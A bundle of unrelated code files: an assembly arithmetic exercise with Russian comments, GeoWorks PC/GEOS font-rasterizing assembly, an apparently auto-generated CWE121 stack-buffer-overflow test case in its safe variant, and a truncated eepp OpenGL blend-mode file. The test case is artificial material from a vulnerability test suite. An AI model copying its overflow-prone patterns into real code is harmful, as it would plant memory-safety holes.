mov bx, [b_sig]
;cwd ; преобразовать слово, находящееся в регистре АХ, в двойное слово — регистры < DX:AX >).
mov [x_return], ax
idiv bx
mov dx, 2d
add ax, dx
mov [x_return], ax
ret
signedF:
mov ax, [a_sig]
mov bx, [b_sig]
cmp ax, bx
je signed_s1 ;ax==bx
jg signed_s2 ;ax>bx
jl signed_s3 ;ax<bx
; unsigned
;;;;;;;;;;;;;;;;;;;;;;;;
;a == b
unsigned_s1:
mov ax, -1d
mov [x_return], ax
ret
;a > b
; a*b-1 если a > b
unsigned_s2:
mov bx, [b_unsig]
mov ax, [a_unsig]
mul bx
sub ax, 1d
mov [x_return], ax
ret
;a < b
; a/b+2 , если a < b
unsigned_s3:
mov ax, [a_unsig]
mov bx, [b_unsig]
div bx
mov dx, 2d
add ax, dx
mov [x_return], ax
ret
unsignedF:
mov ax, [a_unsig]
mov bx, [b_unsig]
cmp ax, bx
je unsigned_s1 ; ax==bx
jg unsigned_s2 ; ax>bx
jl unsigned_s3 ; ax<bx
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: nimbusSegments.asm
AUTHOR: Gene Anderson, May 27, 1990
ROUTINES:
Name Description
---- -----------
Segments Process character commands
NimbusMoveTo Move CP
NimbusLineTo Draw line from CP to (x,y)
NimbusBezierTo Draw Bezier from CP to (x3,y3) through points
NimbusAccentChar Draw char 1, offset (x,y), draw char 2
NimbusVertLineTo Draw line from CP to (x,+/-y)
NimbusHorizLineTo Draw line from CP to (+/-x,y)
NimbusRelLineTo Draw line from CP to (+/-x,+/-y)
NimbusRelBezierTo Draw Bezier from CP to offset points
Pixelate Rasterize a line segment
Vectorize Rasterize a Bezier curve
YPixelate Scan horizontally at y coodinates
REVISION HISTORY:
Name Date Description
---- ---- -----------
Gene 5/27/90 Initial revision
DESCRIPTION:
Rasterization routines for hinted Nimbus chars.
$Id: nimbusSegments.asm,v 1.1 97/04/18 11:45:27 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Segments
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Well we finally can start processing pieces of the character
CALLED BY: MakeCharLow()
PASS: es:di - ptr to first command
ds - seg addr of NimbusVars
ds:guano - bitmap header (NimbusBitmap)
RETURN: none
DESTROYED: ax, bx, cx, dx, si, di, bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
JMPs to functions, which all JMP back to "NextCommand"
This takes (18+15)=33 cycles vs. (29+16)=45 cycles. Whoopie.
ASSUMES: size(NimbusCommand) = 1
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/27/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Segments proc near
NextCommand label near
mov dl, es:[di] ;dl <- command
inc di ;skip command
EC < cmp dl, NimbusCommands ;>
EC < ja DieHorribly ;>
cmp dl, NIMBUS_DONE ;end of character?
je EndCharData ;branch if end of data
clr dh
shl dx, 1
mov si, dx ;si <- command index
jmp cs:funcTable[si] ;call the right function
EndCharData label near
ret
Segments endp
DieHorribly label near
EC < ERROR BAD_NIMBUS_COMMAND >
NEC < jmp NextCommand >
funcTable label word
word offset NimbusMoveTo ;=0
word offset NimbusLineTo ;=1
word offset NimbusBezierTo ;=2
word offset DieHorribly ;=3 (DONE)
word offset DieHorribly ;=4 (**unused**)
word offset NimbusAccentChar ;=5
word offset NimbusVertLineTo ;=6
word offset NimbusHorizLineTo ;=7
word offset NimbusRelLineTo ;=8
word offset NimbusRelBezierTo ;=9
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NimbusMoveTo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Move the curent pen position.
CALLED BY: Segments()
PASS: es:di - ptr to NimbusMoveData
ds - seg addr of NimbusVars
RETURN: es:di - ptr beyond data
(ax,bx) - new current position (untransformed)
DESTROYED: ax, bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/27/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NimbusMoveTo proc near
mov ax, es:[di].NMD_x ;ax <- x position
mov bx, es:[di].NMD_y ;bx <- y position
push ax, bx
call ds:GenData.CGD_trans_fn ;call transformation function
mov ds:x0, ax
mov ds:y0, bx ;store new pen position
pop ax, bx
add di, size NimbusMoveData ;advance to next command
jmp NextCommand
NimbusMoveTo endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NimbusLineTo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw line from CP to (x,y)
CALLED BY: Segments()
PASS: es:di - ptr to NimbusLineData
ds - seg addr of NimbusVars
(ax,bx) - current position (untransformed)
ds - seg addr of NimbusVars
RETURN: es:di - ptr beyond data
(ax,bx) - new current position (untransformed)
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/27/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NimbusLineTo proc near
mov ax, es:[di].NLD_x
mov bx, es:[di].NLD_y ;(ax,bx) <- end position
add di, size NimbusLineData
LineCommon label near
push ax, bx
call ds:GenData.CGD_trans_fn ;call transformation function
mov cx, ds:x0
mov dx, ds:y0
call Pixelate ;rasterize((ax,bx),(cx,dx))
mov ds:x0, ax
mov ds:y0, bx ;store new pen position
pop ax, bx
jmp NextCommand
NimbusLineTo endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NimbusVertLineTo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw vertical line from CP to (x, +/-y)
CALLED BY: Segments()
PASS: es:di - ptr to NimbusVertData
ds - seg addr of NimbusVars
(ax,bx) - current position (untransformed)
ds - seg addr of NimbusVars
RETURN: es:di - ptr beyond data
(ax,bx) - new current position (untransformed)
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/27/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NimbusVertLineTo proc near
add bx, es:[di].NVD_length ;y += *ch++;
add di, size NimbusVertData
jmp LineCommon
NimbusVertLineTo endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NimbusHorizLineTo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw horizontal line from CP to (+/-x, y)
CALLED BY: Segments()
PASS: es:di - ptr to NimbusHorizData
ds - seg addr of NimbusVars
(ax,bx) - current position (untransformed)
ds - seg addr of NimbusVars
RETURN: es:di - ptr beyond data
(ax,bx) - new current position (untransformed)
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/27/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NimbusHorizLineTo proc near
add ax, es:[di].NHD_length ;x += *ch++;
add di, NimbusHorizData
jmp LineCommon
NimbusHorizLineTo endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NimbusRelLineTo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw line from CP to (+/-x, +/-y)
CALLED BY: Segments()
PASS: es:di - ptr to NimbusRelLineData
ds - seg addr of NimbusVars
(ax,bx) - current position (untransformed)
RETURN: es:di - ptr beyond data
(ax,bx) - new current position (untransformed)
DESTROYED: cx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/27/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NimbusRelLineTo proc near
mov cx, ax ;save x position
mov al, es:[di].NRLD_y
cbw
add bx, ax ;add y offset
mov al, es:[di].NRLD_x
cbw
add ax, cx ;(ax,bx) <- (x,y) position
add di, size NimbusRelLineData
jmp LineCommon
NimbusRelLineTo endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NimbusBezierTo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw a Bezier curve from CP to (x3,y3) through (x1,y1),(x2,y2)
CALLED BY: Segments()
PASS: es:di - ptr to NimbusRelLineData
ds - seg addr of NimbusVars
(ax,bx) - current position (untransformed)
RETURN: es:di - ptr beyond data
(ax,bx) - new current position (untransformed)
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/27/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NimbusBezierTo proc near
mov ax, es:[di].NBD_x1
mov bx, es:[di].NBD_y1
call ds:GenData.CGD_trans_fn ;call transformation function
mov ds:x1, ax
mov ds:y1, bx
mov ax, es:[di].NBD_x2
mov bx, es:[di].NBD_y2
call ds:GenData.CGD_trans_fn ;call transformation function
mov ds:x2, ax
mov ds:y2, bx
mov ax, es:[di].NBD_x3
mov bx, es:[di].NBD_y3
push ax, bx
call ds:GenData.CGD_trans_fn ;call transformation function
mov ds:x3, ax
mov ds:y3, bx
add di, size NimbusBezierData
REAL_FALL_THRU BezierCommon ;clean up ESP warning
NimbusBezierTo endp
BezierCommon proc near
push di
push ds:y3
push ds:x3
push ds:y2
push ds:x2
push ds:y1
push ds:x1
push ds:y0
push ds:x0 ;vectorize(p0,p1,p2,p3)
mov bp, sp ;ss:bp <- ptr to params
call Vectorize ;rasterize curve
add sp, NimbusPoints - size NimPoint
pop ds:x0
pop ds:y0 ;set transformed CP
pop di
pop ax, bx ;(ax,bx) <- new CP
jmp NextCommand
BezierCommon endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NimbusRelBezierTo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw Bezier from CP to CP+offsets
CALLED BY: Segments()
PASS: es:di - ptr to NimbusRelBezierData
ds - seg addr of NimbusVars
(ax,bx) - current position (untransformed)
RETURN: es:di - ptr beyond data
(ax,bx) - new current position (untransformed)
DESTROYED: cx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/27/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NimbusRelBezierTo proc near
mov cx, ax ;save x
mov al, es:[di].NRBD_y1
cbw
add bx, ax
mov al, es:[di].NRBD_x1
cbw
add ax, cx
push ax, bx
call ds:GenData.CGD_trans_fn ;call transformation function
mov ds:x1, ax
mov ds:y1, bx
pop cx, bx
mov al, es:[di].NRBD_y2
cbw
add bx, ax
mov al, es:[di].NRBD_x2
cbw
add ax, cx
push ax, bx
call ds:GenData.CGD_trans_fn ;call transformation function
mov ds:x2, ax
mov ds:y2, bx
pop cx, bx
mov al, es:[di].NRBD_y3
cbw
add bx, ax
mov al, es:[di].NRBD_x3
cbw
add ax, cx
push ax, bx ;save new CP (untransformed)
call ds:GenData.CGD_trans_fn ;call transformation function
mov ds:x3, ax
mov ds:y3, bx
add di, NimbusRelBezierData
jmp BezierCommon
NimbusRelBezierTo endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NimbusAccentChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw base char, offset (x,y), draw accent char.
CALLED BY: Segments()
PASS: es:di - ptr to NimbusAccentData
ds - seg addr of NimbusVars
(ax,bx) - current position (untransformed)
RETURN: none - see SIDE EFFECTS
DESTROYED: di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
No NimbusCommands (except NIMBUS_DONE) are supposed to
follow a NIMBUS_ACCENT segment. This allows us to just
stop processing, rather than make sure the original
character data is still loaded and scan only to find
the end of character marker. Also, rather than copy
and shift the character data for the 2nd character, the
offset is just added before every transform.
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/27/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NimbusAccentChar proc near
mov si, es:[di].NAD_y ;si <- y offset for 2nd char
push es:[di].NAD_x ;save offset for 2nd char
push si
push {word}es:[di].NAD_char2 ;save 2nd character
mov dl, es:[di].NAD_char1 ;dl <- 1st character
call FindCharPtr ;es:di == ptr to NimbusData
mov bx, es:[di].ND_ymax ;bx <- top of base char
call MakeCharBase ;rasterize base character
;
;/* if we are using hints, and the bottom of the accent */
;/* is above the top of the base, make sure the bottom */
;/* of the accent is one full pixel above the base */
;
pop dx ;dl <- 2nd character
clr ax
mov ds:xvars.NF_num, ax ;x_num = 0;
mov ds:yvars.NF_num, ax ;y_num = 0;
call FindCharPtr ;es:di == ptr to NimbusData
push cx ;save handle of outline data
mov dx, ds:GenData.CGD_y_scl ;dx <- y_scl
tst dx ;if (y_scl)
jz noYHints ;branch if no y hints
mov ax, bx ;y0 <- top of base char
call Scale
call RefLine ;y1 = refline(scale(y_scl,y0));
mov cx, ax ;cx <- y1
add si, es:[di].ND_ymin ;y2 = x2+ch[2] /* btm of acct */
mov ax, si ;ax <- y2
call Scale
call RefLine ;y3 = refline(scale(y_scl,y2));
cmp cx, ax ;if (y1 == y3)
jne noYHints ;branch if y1 != y3
cmp si, bx ;if (y2 > y0)
jle noYHints ;branch if y2 <= y0
inc ds:yvars.NF_num ;y_num = 1;
mov ds:yvars.NF_orus[0], si ;y_orus[0] = y2;
mov ax, cx
inc ax ;ax <- y1 + 1;
tst dx ;if (y_scl > 0)
jns afterHints
sub ax, 2 ;ax <- y1 - 1;
afterHints:
mov ds:yvars.NF_pxls[0], ax ;y_pxls[0] = y1 + 1 : y1 - 1;
noYHints:
;
;/* move and render the accent */
;
pop cx ;cx <- handle of outline data
pop ds:y_offset
pop ds:x_offset ;offset to draw at
call MakeCharLow ;rasterize accent character
jmp EndCharData
NimbusAccentChar endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Pixelate
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Scan convert a vector (ie. a line)
CALLED BY: NimbusLineTo()/LineCommon(), Vectorize()
PASS: ds:guano - bitmap to use (NimbusBitmap)
ds:x_count, ds:x_list[]
ds:y_count, ds:y_list[] - arrays and counts of points
(ax,bx),(cx,dx) - end points of line
RETURN: none
DESTROYED: cx, dx, si
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/29/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Pixelate proc near
uses ax, bx, di, bp
.enter
;
;/* maybe scan vertically for later hole filling */
;
tst ds:GenData.CGD_check ;doing continuity checking?
jz noChecking ;branch if not...
call XPixelate
noChecking:
;
;/* scan horizontally, flip all bits to right of line segment */
;
call YPixelate
.leave
ret
Pixelate endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
YPixelate
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Scan horizontally at half-integer y-coordinates.
CALLED BY: Pixelate()
PASS: ds:guano - bitmap to use (NimbusBitmap)
ds:y_list[] - array of points
ds:y_count - # of points
(ax,bx),(cx,dx) - end points of line
RETURN: ds:y_list[] - array of points
ds:y_count - # of points, updated
DESTROYED: ax, bx, cx, dx, si, di, bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/30/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
vector word 8,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9
YPixelate proc near
;
;/* ignore horizontals */
;
cmp bx, dx
je ignoreHorizontal
.enter
;
;/* make segment point up */
;
jl ordered
xchg ax, cx
xchg bx, dx
ordered:
;
; (ax,bx) = (x0,y0)
; (cx,dx) = (x1,y1)
; si = y bp = t
;
;/* set y at first half integer */
;
mov si, bx
mov bp, bx
andnf si, FRACTION ;si <- FRACTION(y0)
shl si, 1 ;table of words...
add bp, cs:vector[si] ;y = y0 + vector[FRACTION(y0)];
mov si, bp ;si <- y
TRUNC bp ;t = TRUNC(y);
;
;/* compute the x's */
;
xLoop:
cmp si, dx ;while (y<y1)
jge done
push ax, bx, cx, dx
push cx
sub cx, ax ;cx <- (x1-x0)
mov ax, dx
sub ax, si ;ax <- (y1-y)
xchg bx, dx
sub bx, dx ;bx <- (y1-y0)
imul cx ;dx:ax <- a*b
idiv bx ;dx:ax <- a*b/c
pop cx
sub cx, ax ;cx <- x1 - ...
tst ds:GenData.CGD_check ;if (check)
jnz savePoint ;branch if continuity checking
afterSave:
ROUND cx ;u = ROUND(x);
call ds:GenRouts.CGR_xor_func ;call routine to invert bits
pop ax, bx, cx, dx
add si, ONE ;y += ONE;
inc bp ;t += 1;
jmp xLoop
done:
ignoreHorizontal:
.leave
ret
savePoint:
mov di, ds:v_count ;di <- y_count
cmp di, MAX_COUNT*(size word) ;&& (y_count < MAX_COUNT)
jae afterSave ;branch if too many points
mov ds:v_list_x[di], cx ;y_list[y_count].b.lo = x+16384
mov ds:v_list_y[di], si ;y_list[y_count].b.hi = y;
add ds:v_count, (size word) ;y_count++;
jmp afterSave
YPixelate endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Vectorize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Recursively turn a bezier curve into a bunch of line
segments and call the function <pixelate> on each of them.
CALLED BY: Segments()
PASS: ss:bp - ptr to NimbusPoints
ds - seg addr of NimbusVars
RETURN: none
DESTROYED: ax, bx, cx, dx, bp
PSEUDO CODE/STRATEGY:
Uses parametric midpoint subdivision suggested in:
pp. 164-5, Course Notes #4, SIGGRAPH 1986
if ((ABS(x1 - x0) + ABS(y1 - y0)) < TWO) &&
(ABS(x2 - x1) + ABS(y2 - y1)) < TWO) &&
(ABS(x3 - x2) + ABS(y3 - y2)) < TWO) {
pixelate(x0,y0,x1,y1);
pixelate(x1,y1,x2,y2);
pixelate(x2,y2,x3,y3);
} else {
sx1 = (x0 + x1) >> 1;
t = (x1 + x2) >> 1;
sx2 = (sx1 + t) >> 1;
tx2 = (x2 + x3) >> 1;
tx1 = (t + tx2) >> 1;
sx3 = (sx2 + tx1) >> 1;
sy1 = (y0 + y1) >> 1;
t = (y1 + y2) >> 1;
sy2 = (sy1 + t) >> 1;
ty2 = (y2 + y3) >> 1;
ty1 = (t + ty2) >> 1;
sy3 = (sy2 + ty1) >> 1;
vectorize(x0,y0,sx1,sy1,sx2,sy2,sx3,sy3);
vectorize(sx3,sy3,tx1,ty1,tx2,ty2,x3,y3);
}
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/30/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
left equ ss:[bp][-(size NimbusPoints)-(size word)]
right equ ss:[bp][-(size NimbusPoints)*2-(size word)]
arg equ ss:[bp]
left_x0 equ left.NP_p0.NP_x
left_y0 equ left.NP_p0.NP_y
left_x1 equ left.NP_p1.NP_x
left_y1 equ left.NP_p1.NP_y
left_x2 equ left.NP_p2.NP_x
left_y2 equ left.NP_p2.NP_y
left_x3 equ left.NP_p3.NP_x
left_y3 equ left.NP_p3.NP_y
right_x0 equ right.NP_p0.NP_x
right_y0 equ right.NP_p0.NP_y
right_x1 equ right.NP_p1.NP_x
right_y1 equ right.NP_p1.NP_y
right_x2 equ right.NP_p2.NP_x
right_y2 equ right.NP_p2.NP_y
right_x3 equ right.NP_p3.NP_x
right_y3 equ right.NP_p3.NP_y
arg_x0 equ arg.NP_p0.NP_x
arg_y0 equ arg.NP_p0.NP_y
arg_x1 equ arg.NP_p1.NP_x
arg_y1 equ arg.NP_p1.NP_y
arg_x2 equ arg.NP_p2.NP_x
arg_y2 equ arg.NP_p2.NP_y
arg_x3 equ arg.NP_p3.NP_x
arg_y3 equ arg.NP_p3.NP_y
Vectorize proc near
;
;/* if bezier if really short, draw the control path */
;
;if ((ABS(x1 - x0) + ABS(y1 - y0) < TWO)
;
mov ax, arg_x1
sub ax, arg_x0
jns x1_OK
neg ax
x1_OK:
mov bx, arg_y1
sub bx, arg_y0
jns y1_OK
neg bx
y1_OK:
add ax, bx
cmp ax, TWO
jae divideAgain
;
;&& (ABS(x2 - x1) + ABS(y2 - y1) < TWO)
;
mov ax, arg_x2
sub ax, arg_x1
jns x2_OK
neg ax
x2_OK:
mov bx, arg_y2
sub bx, arg_y1
jns y2_OK
neg bx
y2_OK:
add ax, bx
cmp ax, TWO
jae divideAgain
;
;&& (ABS(x3 - x2) + ABS(y3 - y2) < TWO)
;
mov ax, arg_x3
sub ax, arg_x2
jns x3_OK
neg ax
x3_OK:
mov bx, arg_y3
sub bx, arg_y2
jns y3_OK
neg bx
y3_OK:
add ax, bx
cmp ax, TWO
jae divideAgain
;
;/* draw the control path */
;
mov ax, arg_x1
mov bx, arg_y1
mov cx, arg_x0
mov dx, arg_y0
call Pixelate ;pixelate(x0,y0,x1,y1);
mov cx, ax
mov dx, bx
mov ax, arg_x2
mov bx, arg_y2
call Pixelate ;pixelate(x1,y1,x2,y2);
mov cx, arg_x3
mov dx, arg_y3
call Pixelate ;pixelate(y2,y2,x3,y3);
ret
;
;/* divide bezier at parametric midpoint using algorithm */
;/* suggested in: pp 164-5, Course Notes #4, SIGGRAPH 1986 */
;
divideAgain:
sub sp, (size NimbusPoints)*2 ;allocate args for recursion
;
; x variables (x0, sx1, sx2, sx3)
; (sx3, tx1, tx2, x3)
;
mov ax, arg_x0
mov left_x0, ax ;pass x0
mov bx, arg_x1
add ax, bx
sar ax, 1 ;sx1 = (x0 + x1) >> 1;
mov left_x1, ax ;pass sx1
add bx, arg_x2
sar bx, 1 ;t = (x1 + x2) >> 1;
add ax, bx
sar ax, 1 ;sx2 = (sx1 + t) >> 1;
mov left_x2, ax ;pass sx2
mov cx, arg_x3
mov right_x3, cx ;pass x3
add cx, arg_x2
sar cx, 1 ;tx2 = (x2 + x3) >> 1;
mov right_x2, cx ;pass tx2
add bx, cx
sar bx, 1 ;tx1 = (t + tx2) >> 1;
mov right_x1, bx ;pass tx1
add ax, bx
sar ax, 1 ;sx3 = (sx2 + tx1) >> 1;
mov left_x3, ax ;pass sx3
mov right_x0, ax ;pass sx3
;
; y variables (y0, sy1, sy2, sy3)
; (sy3, ty1, ty2, y3)
;
mov ax, arg_y0
mov left_y0, ax ;pass y0
mov bx, arg_y1
add ax, bx
sar ax, 1 ;sy1 = (y0 + y1) >> 1;
mov left_y1, ax ;pass sy1
add bx, arg_y2
sar bx, 1 ;t = (y1 + y2) >> 1;
add ax, bx
sar ax, 1 ;sy2 = (sy1 + t) >> 1;
mov left_y2, ax ;pass sy2
mov cx, arg_y3
mov right_y3, cx ;pass y3
add cx, arg_y2
sar cx, 1 ;ty2 = (y2 + y3) >> 1;
mov right_y2, cx ;pass ty2
add bx, cx
sar bx, 1 ;ty1 = (t + ty2) >> 1;
mov right_y1, bx ;pass ty1
add ax, bx
sar ax, 1 ;sy3 = (sy2 + ty1) >> 1;
mov left_y3, ax ;pass sy3
mov right_y0, ax ;pass sy3
mov bp, sp
call Vectorize ;vectorize(sx3,tx1,tx2,x3);
add sp, (size NimbusPoints)
mov bp, sp
call Vectorize ;vectorize(x0,sx1,sx2,sx3);
add sp, (size NimbusPoints)
ret
Vectorize endp
|
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE121_Stack_Based_Buffer_Overflow__CWE805_wchar_t_alloca_snprintf_82_goodG2B.cpp
Label Definition File: CWE121_Stack_Based_Buffer_Overflow__CWE805.string.label.xml
Template File: sources-sink-82_goodG2B.tmpl.cpp
*/
/*
* @description
* CWE: 121 Stack Based Buffer Overflow
* BadSource: Set data pointer to the bad buffer
* GoodSource: Set data pointer to the good buffer
* Sinks: snprintf
* BadSink : Copy string to data using snprintf
* Flow Variant: 82 Data flow: data passed in a parameter to an virtual method called via a pointer
*
* */
#ifndef OMITGOOD
#include "std_testcase.h"
#include "CWE121_Stack_Based_Buffer_Overflow__CWE805_wchar_t_alloca_snprintf_82.h"
#ifdef _WIN32
#define SNPRINTF _snwprintf
#else
#define SNPRINTF snprintf
#endif
namespace CWE121_Stack_Based_Buffer_Overflow__CWE805_wchar_t_alloca_snprintf_82
{
void CWE121_Stack_Based_Buffer_Overflow__CWE805_wchar_t_alloca_snprintf_82_goodG2B::action(wchar_t * data)
{
{
wchar_t source[100];
wmemset(source, L'C', 100-1); /* fill with L'C's */
source[100-1] = L'\0'; /* null terminate */
/* POTENTIAL FLAW: Possible buffer overflow if the size of data is less than the length of source */
SNPRINTF(data, 100, L"%s", source);
printWLine(data);
}
}
}
#endif /* OMITGOOD */
|
#include <eepp/graphics/blendmode.hpp>
#include <eepp/graphics/renderer/cgl.hpp>
namespace EE { namespace Graphics {
EE_BLEND_MODE BlendMode::sLastBlend = ALPHA_NORMAL;
void BlendMode::SetMode( const EE_BLEND_MODE& blend, bool force ) {
if ( sLastBlend != blend || force ) {
if (blend == ALPHA_NONE) {
GLi->Disable( GL_BLEND );
} else {
GLi->Enable( GL_BLEND );
switch (blend) {
case ALPHA_NORMAL:
if ( GLi->IsExtension( EEGL_EXT_blend_func_separate ) )
glBlendFuncSeparateEXT( GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ONE_MINUS_SRC_ALPHA );
else
GLi->BlendFunc(GL_SRC_ALPHA , GL_ONE_MINUS_SRC_ALPHA);
break;
case ALPHA_BLENDONE:
if ( GLi->IsExtension( EEGL_EXT_blend_func_separate ) )
glBlendFuncSeparateEXT( GL_SRC_ALPHA, GL_ONE, GL_ONE, GL_ONE );
else
GLi->BlendFunc(GL_SRC_ALPHA , GL_ONE);
break;
case ALPHA_BLENDTWO:
